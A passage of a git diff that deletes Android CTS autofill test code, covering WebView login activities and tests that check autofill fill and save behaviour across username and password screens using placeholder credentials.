-        mActivity.clearFocus();
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, passwordChildId);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        // Autofill it.
-        mUiBot.selectDataset(datasetPicker, "OUT2");
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-
-        myWebView.assertAutofilled();
-        outside1Watcher.assertAutoFilled();
-        outside2Watcher.assertAutoFilled();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.runOnUiThread(() -> {
-            mActivity.mOutside1.setText("DUDER");
-            mActivity.mOutside2.setText("SWEETER");
-        });
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
-            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
-        } else {
-            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
-            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
-        }
-
-        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
-        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
-    }
-
-
-    @Test
-    @Ignore("blocked on b/69461853")
-    @AppModeFull(reason = "testAutofillAndSave() is enough")
-    public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load outside views
-        mActivity.loadOutsideViews();
-
-        // Set expectations.
-        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
-                mActivity.mOutside1, "duder");
-        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
-                mActivity.mOutside2, "sweeter");
-        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
-        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sReplier.setIdMode(IdMode.RESOURCE_ID);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
-                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("OUT1");
-        callback.assertUiShownEvent(mActivity.mOutside1);
-
-        // Move focus around to make sure UI is shown accordingly
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(mActivity.mOutside1);
-        mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        // Assert structure passed to service.
-        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextIsSanitized(outside1FillNode);
-        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextIsSanitized(outside2FillNode);
-
-        // Now load Webiew
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-
-        // Set expectations
-        myWebView.expectAutofill("dude", "sweet");
-        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
-                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-        mUiBot.assertDatasets("USER");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        // Move focus around to make sure UI is shown accordingly
-        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-        mUiBot.assertDatasets("OUT1");
-        callback.assertUiShownEvent(mActivity.mOutside1);
-
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(mActivity.mOutside1);
-        mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        mActivity.getPasswordInput().click();
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-        mUiBot.assertDatasets("PASS");
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, passwordChildId);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        // Assert structure passed to service.
-        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
-                HTML_NAME_USERNAME);
-        Helper.assertTextIsSanitized(usernameFillNode);
-        assertThat(usernameFillNode.isFocused()).isTrue();
-        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
-                HTML_NAME_PASSWORD);
-        Helper.assertTextIsSanitized(passwordFillNode);
-        assertThat(passwordFillNode.getAutofillHints()).asList()
-                .containsExactly("current-password");
-        assertThat(passwordFillNode.isFocused()).isFalse();
-
-        // Autofill external views (2nd partition)
-        mUiBot.selectDataset(datasetPicker, "OUT2");
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-        outside1Watcher.assertAutoFilled();
-        outside2Watcher.assertAutoFilled();
-
-        // Autofill Webview (1st partition)
-        mActivity.getUsernameInput().click();
-        callback.assertUiShownEventForVirtualChild(myWebView);
-        mUiBot.selectDataset("USER");
-        myWebView.assertAutofilled();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.runOnUiThread(() -> {
-            mActivity.mOutside1.setText("DUDER");
-            mActivity.mOutside2.setText("SWEETER");
-        });
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
-            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
-        } else {
-            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
-            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
-        }
-
-        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
-        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivity.java
deleted file mode 100644
index 2e3e74c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivity.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.webkit.WebResourceRequest;
-import android.webkit.WebResourceResponse;
-import android.webkit.WebView;
-import android.webkit.WebViewClient;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class WebViewMultiScreenLoginActivity extends AbstractWebViewActivity {
-
-    private static final String TAG = "WebViewMultiScreenLoginActivity";
-    private static final String FAKE_USERNAME_URL = "https://" + FAKE_DOMAIN + ":666/username.html";
-    private static final String FAKE_PASSWORD_URL = "https://" + FAKE_DOMAIN + ":666/password.html";
-
-    private UiObject2 mUsernameLabel;
-    private UiObject2 mUsernameInput;
-    private UiObject2 mNextButton;
-
-    private UiObject2 mPasswordLabel;
-    private UiObject2 mPasswordInput;
-    private UiObject2 mLoginButton;
-
-    private final Map<String, CountDownLatch> mLatches = new HashMap<>();
-
-    public WebViewMultiScreenLoginActivity() {
-        mLatches.put(FAKE_USERNAME_URL, new CountDownLatch(1));
-        mLatches.put(FAKE_PASSWORD_URL, new CountDownLatch(1));
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.webview_only_activity);
-        mWebView = findViewById(R.id.my_webview);
-    }
-
-    public MyWebView loadWebView(UiBot uiBot) throws Exception {
-        syncRunOnUiThread(() -> {
-            mWebView.setWebViewClient(new WebViewClient() {
-                // WebView does not set the WebDomain on file:// requests, so we need to use an
-                // https:// request and intercept it to provide the real data.
-                @Override
-                public WebResourceResponse shouldInterceptRequest(WebView view,
-                        WebResourceRequest request) {
-                    final String url = request.getUrl().toString();
-                    if (!url.equals(FAKE_USERNAME_URL) && !url.equals(FAKE_PASSWORD_URL)) {
-                        Log.d(TAG, "Ignoring " + url);
-                        return super.shouldInterceptRequest(view, request);
-                    }
-
-                    final String rawPath = request.getUrl().getPath()
-                            .substring(1); // Remove leading /
-                    Log.d(TAG, "Converting " + url + " to " + rawPath);
-                    // NOTE: cannot use try-with-resources because it would close the stream before
-                    // WebView uses it.
-                    try {
-                        return new WebResourceResponse("text/html", "utf-8",
-                                getAssets().open(rawPath));
-                    } catch (IOException e) {
-                        throw new IllegalArgumentException("Error opening " + rawPath, e);
-                    }
-                }
-
-                @Override
-                public void onPageFinished(WebView view, String url) {
-                    final CountDownLatch latch = mLatches.get(url);
-                    Log.v(TAG, "onPageFinished(): " + url + " latch: " + latch);
-                    if (latch != null) {
-                        latch.countDown();
-                    }
-                }
-            });
-            mWebView.loadUrl(FAKE_USERNAME_URL);
-        });
-
-        // Wait until it's loaded.
-        if (!mLatches.get(FAKE_USERNAME_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
-        }
-
-        // Validation check to make sure autofill was enabled when the WebView was created
-        assertThat(mWebView.isAutofillEnabled()).isTrue();
-
-        // WebView builds its accessibility tree asynchronously and only after being queried the
-        // first time, so we should first find the WebView and query some of its properties,
-        // wait for its accessibility tree to be populated (by blocking until a known element
-        // appears), then cache the objects for further use.
-
-        // NOTE: we cannot search by resourceId because WebView does not set them...
-
-        // Wait for known element...
-        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
-        // ...then cache the others
-        mUsernameInput = getInput(uiBot, mUsernameLabel);
-        mNextButton = uiBot.findRightAwayByText("Next");
-
-        return mWebView;
-    }
-
-    void waitForPasswordScreen(UiBot uiBot) throws Exception {
-        // Wait until it's loaded.
-        if (!mLatches.get(FAKE_PASSWORD_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(WEBVIEW_TIMEOUT, "Password page not loaded");
-        }
-
-        // WebView builds its accessibility tree asynchronously and only after being queried the
-        // first time, so we should first find the WebView and query some of its properties,
-        // wait for its accessibility tree to be populated (by blocking until a known element
-        // appears), then cache the objects for further use.
-
-        // NOTE: we cannot search by resourceId because WebView does not set them...
-
-        // Wait for known element...
-        mPasswordLabel = uiBot.assertShownByText("Password: ", WEBVIEW_TIMEOUT);
-        // ...then cache the others
-        mPasswordInput = getInput(uiBot, mPasswordLabel);
-        mLoginButton = uiBot.findRightAwayByText("Login");
-    }
-
-    public UiObject2 getUsernameLabel() throws Exception {
-        return mUsernameLabel;
-    }
-
-    public UiObject2 getUsernameInput() throws Exception {
-        return mUsernameInput;
-    }
-
-    public UiObject2 getNextButton() throws Exception {
-        return mNextButton;
-    }
-
-    public UiObject2 getPasswordLabel() throws Exception {
-        return mPasswordLabel;
-    }
-
-    public UiObject2 getPasswordInput() throws Exception {
-        return mPasswordInput;
-    }
-
-    public UiObject2 getLoginButton() throws Exception {
-        return mLoginButton;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivityTest.java
deleted file mode 100644
index f2071d3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivityTest.java
+++ /dev/null
@@ -1,304 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractWebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.AbstractWebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByHtmlName;
-import static android.autofillservice.cts.Helper.getAutofillId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.ComponentName;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.KeyEvent;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.regex.Pattern;
-
-public class WebViewMultiScreenLoginActivityTest
-        extends AbstractWebViewTestCase<WebViewMultiScreenLoginActivity> {
-
-    private static final String TAG = "WebViewMultiScreenLoginTest";
-
-    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
-
-    private WebViewMultiScreenLoginActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<WebViewMultiScreenLoginActivity> getActivityRule() {
-        return new AutofillActivityTestRule<WebViewMultiScreenLoginActivity>(
-                WebViewMultiScreenLoginActivity.class) {
-
-            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
-            // disable autofill for optimization when it returns false, and unfortunately the value
-            // returned by that method does not change when the service is enabled / disabled, so we
-            // need to start enable the service before launching the activity.
-            // Once that's fixed, remove this overridden method.
-            @Override
-            protected void beforeActivityLaunched() {
-                super.beforeActivityLaunched();
-                Log.i(TAG, "Setting service before launching the activity");
-                enableService();
-            }
-
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testSave_eachFieldSeparately() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-        // Validation check to make sure autofill is enabled in the application context
-        Helper.assertAutofillEnabled(myWebView.getContext(), true);
-
-        /*
-         * First screen: username
-         */
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, HTML_NAME_USERNAME)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    final AutofillId usernameId = getAutofillId(nodeResolver, HTML_NAME_USERNAME);
-                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
-                            .Builder(usernameId, MATCH_ALL, "$1").build();
-                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                            .addChild(R.id.username, usernameTrans)
-                            .build());
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts).hasSize(1);
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-        } else {
-            mActivity.getUsernameInput().setText("dude");
-        }
-        mActivity.getNextButton().click();
-
-        // Assert UI
-        final UiObject2 saveUi1 = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME);
-
-        mUiBot.assertChildText(saveUi1, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi1, ID_USERNAME, "dude");
-
-        // Assert save request
-        mUiBot.saveForAutofill(saveUi1, true);
-        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
-        assertThat(saveRequest1.contexts).hasSize(1);
-        assertTextAndValue(findNodeByHtmlName(saveRequest1.structure, HTML_NAME_USERNAME), "dude");
-
-        /*
-         * Second screen: password
-         */
-
-        mActivity.waitForPasswordScreen(mUiBot);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, HTML_NAME_PASSWORD)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    final AutofillId passwordId = getAutofillId(nodeResolver, HTML_NAME_PASSWORD);
-                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
-                            .Builder(passwordId, MATCH_ALL, "$1").build();
-                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                            .addChild(R.id.password, passwordTrans)
-                            .build());
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getPasswordInput().click();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts).hasSize(1);
-        mUiBot.assertNoDatasetsEver();
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
-        } else {
-            mActivity.getPasswordInput().setText("sweet");
-        }
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_PASSWORD);
-        mUiBot.assertChildText(saveUi2, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi2, ID_PASSWORD, "sweet");
-
-        // Assert save request
-        mUiBot.saveForAutofill(saveUi2, true);
-        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
-        assertThat(saveRequest2.contexts).hasSize(1);
-        assertTextAndValue(findNodeByHtmlName(saveRequest2.structure, HTML_NAME_PASSWORD), "sweet");
-    }
-
-    @Test
-    public void testSave_bothFieldsAtOnce() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-        // Validation check to make sure autofill is enabled in the application context
-        Helper.assertAutofillEnabled(myWebView.getContext(), true);
-
-        /*
-         * First screen: username
-         */
-        final AtomicReference<AutofillId> usernameId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setIgnoreFields(HTML_NAME_USERNAME)
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    usernameId.set(getAutofillId(nodeResolver, HTML_NAME_USERNAME));
-
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts).hasSize(1);
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Change username
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-        } else {
-            mActivity.getUsernameInput().setText("dude");
-        }
-
-        mActivity.getNextButton().click();
-
-        // Assert UI
-        mUiBot.assertSaveNotShowing();
-
-        /*
-         * Second screen: password
-         */
-
-        mActivity.waitForPasswordScreen(mUiBot);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_PASSWORD)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    final AutofillId passwordId = getAutofillId(nodeResolver, HTML_NAME_PASSWORD);
-                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
-                            .Builder(usernameId.get(), MATCH_ALL, "$1").build();
-                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
-                            .Builder(passwordId, MATCH_ALL, "$1").build();
-                    Log.d(TAG, "setting CustomDescription: u=" + usernameId + ", p=" + passwordId);
-                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                            .addChild(R.id.username, usernameTrans)
-                            .addChild(R.id.password, passwordTrans)
-                            .build());
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getPasswordInput().click();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts).hasSize(2);
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
-        } else {
-            mActivity.getPasswordInput().setText("sweet");
-        }
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
-                SAVE_DATA_TYPE_PASSWORD);
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
-
-        // Assert save request
-        mUiBot.saveForAutofill(saveUi, true);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Username is set in the 1st context
-        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
-        assertTextAndValue(findNodeByHtmlName(previousStructure, HTML_NAME_USERNAME), "dude");
-        final ComponentName componentPrevious = previousStructure.getActivityComponent();
-        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
-
-        // Password is set in the 2nd context
-        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
-        assertTextAndValue(findNodeByHtmlName(currentStructure, HTML_NAME_PASSWORD), "sweet");
-        final ComponentName componentCurrent = currentStructure.getActivityComponent();
-        assertThat(componentCurrent).isEqualTo(mActivity.getComponentName());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
deleted file mode 100644
index 9e11da9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.text.TextUtils;
-import android.util.Log;
-import android.widget.TextView;
-
-import androidx.annotation.Nullable;
-
-/**
- * Activity that displays a "Welcome USER" message after login.
- */
-public class WelcomeActivity extends AbstractAutoFillActivity {
-
-    private static WelcomeActivity sInstance;
-
-    private static final String TAG = "WelcomeActivity";
-
-    static final String EXTRA_MESSAGE = "message";
-    static final String ID_WELCOME = "welcome";
-
-    private static int sPendingIntentId;
-    private static PendingIntent sPendingIntent;
-
-    private TextView mWelcome;
-
-    public WelcomeActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.welcome_activity);
-
-        mWelcome = (TextView) findViewById(R.id.welcome);
-
-        final Intent intent = getIntent();
-        final String message = intent.getStringExtra(EXTRA_MESSAGE);
-
-        if (!TextUtils.isEmpty(message)) {
-            mWelcome.setText(message);
-        }
-
-        Log.d(TAG, "Message: " + message);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Setting sInstance to null onDestroy()");
-        sInstance = null;
-    }
-
-    @Override
-    public void finish() {
-        super.finish();
-        Log.d(TAG, "So long and thanks for all the finish!");
-
-        if (sPendingIntent != null) {
-            Log.v(TAG, " canceling pending intent on finish(): " + sPendingIntent);
-            sPendingIntent.cancel();
-        }
-    }
-
-    static void finishIt() {
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    // TODO: reuse in other places
-    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
-        assertShowing(uiBot, null);
-    }
-
-    // TODO: reuse in other places
-    static void assertShowing(UiBot uiBot, @Nullable String expectedMessage) throws Exception {
